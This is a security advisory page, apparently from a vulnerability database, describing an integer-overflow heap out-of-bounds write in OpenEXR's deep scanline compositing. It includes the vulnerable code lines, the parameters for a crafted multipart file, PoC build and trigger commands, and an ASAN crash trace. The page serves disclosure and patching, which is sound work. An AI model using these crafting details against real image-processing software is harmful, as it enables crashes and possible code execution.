Anmelden
Deutsch English Español Polski
Hoch

OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write

  • Veröffentlicht: 02.03.2026
  • Aktualisiert: 11.10.2026 14:18

Summary

Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).

Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):

  • total_sizes[ptr] += counts[j][ptr]; (line ~511)
  • overall_sample_count += total_sizes[ptr]; (line ~514)
  • samples[channel].resize (overall_sample_count); (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).

Attack scenario:

  • Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
  • Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
  • The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

Steps to reproduce

composite_deepscanline_poc_bundle.patch

PoC files used:

  • Writer/generator: poc/composite_deep_scanline_e2e_compressed_poc.cpp
  • Minimal high-level reader harness: poc/simple_exr_reader.cpp

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.

Build with ASAN/UBSAN:

bash
cmake -S . -B build-asan \
  -DOPENEXR_BUILD_POC=ON \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j

Generate malicious file (decode-path focused profile):

bash
ASAN_OPTIONS=detect_leaks=0 timeout 180s \
  ./build-asan/poc/composite_writer \
  --profile low-ram \
  --file /tmp/composite_decode_focus.exr

Trigger:

bash
ASAN_OPTIONS=detect_leaks=0 timeout 30s \
  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

Example runs

Writer (abbrev):

bash
❯ ./build-asan/poc/composite_writer
exploit math:
  benign samples                 : 300
  malicious parts                : 86
  malicious samples per part     : 50000000
  true total samples             : 4300000300
  uint32 overflow reached        : yes
  wrapped uint32 total           : 5033004
  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
  min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)

Reader ASAN crash:

bash
❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
allocated by thread T0 here:
    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
    #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
    #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
Shadow bytes around the buggy address:
  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==175024==ABORTING

Root cause analysis

In CompositeDeepScanLine::readPixels:

  1. Per-pixel totals are accumulated in vector<unsigned int> total_sizes.
  2. For attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.
  3. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count).
  4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer.

Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.

Impact

Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) openexr >= 2.3.0, < 3.2.6, >= 3.3.0, < 3.3.8, >= 3.4.0, < 3.4.6 3.2.6, 3.3.8, 3.4.6

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-787
Plattform
Python (PyPI)
Paket
openexr
Veröffentlicht
02.03.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2846 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-cr4v-6jm6-4963 - CC BY 4.0

Schwachstellenhistorie: openexr

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (15) im Archiv
Einträge insgesamt
15
Erste → letzte
05.2022 04.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 7
  • Mittel 7
  • Niedrig 1

Veröffentlichungen pro Jahr

Schweregrad:
  1. OpenEXR: DWA Lossy Decoder Heap Out-of-Bounds Write
    Hoch · 5.0 CVE-2026-34589 >= 3.2.0, < 3.2.7, >= 3.3.0, < 3.3.9, >= 3.4.0, < 3.4.9 3.2.7, 3.3.9, 3.4.9
  2. OpenEXR has a signed 32-bit Overflow in PIZ Decoder Leads to OOB Read/Write
    Hoch · 7.8 CVE-2026-34588 >= 3.1.0, < 3.2.7, >= 3.3.0, < 3.3.9, >= 3.4.0, < 3.4.9 3.2.7, 3.3.9, 3.4.9
  3. OpenEXR: Heap information disclosure in PXR24 decompression via unchecked decompressed size (undo_pxr24_impl)
    Hoch CVE-2026-34543 >= 3.4.0, < 3.4.8, >= 3.3.0, <= 3.3.8, >= 3.2.0, <= 3.2.6 3.4.8
  4. OpenEXR: integer overflow to OOB write in uncompress_b44_impl()
    Hoch CVE-2026-34544 >= 3.4.0, < 3.4.8, >= 3.3.0, <= 3.3.8, >= 3.2.0, <= 3.2.6 3.4.8
  5. OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write dieser Eintrag
    Hoch CVE-2026-27622 >= 2.3.0, < 3.2.6, >= 3.3.0, < 3.3.8, >= 3.4.0, < 3.4.6 3.2.6, 3.3.8, 3.4.6
  6. OpenEXR Heap-Based Buffer Overflow in Deep Scanline Parsing via Forged Unpacked Size
    Hoch · 7.8 CVE-2025-48071 >= 3.3.0, < 3.3.3 3.3.3
  7. OpenEXR invalid write
    Hoch · 8.8 CVE-2017-9111 < 2.2.1 2.2.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Datenschutzerklärung

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.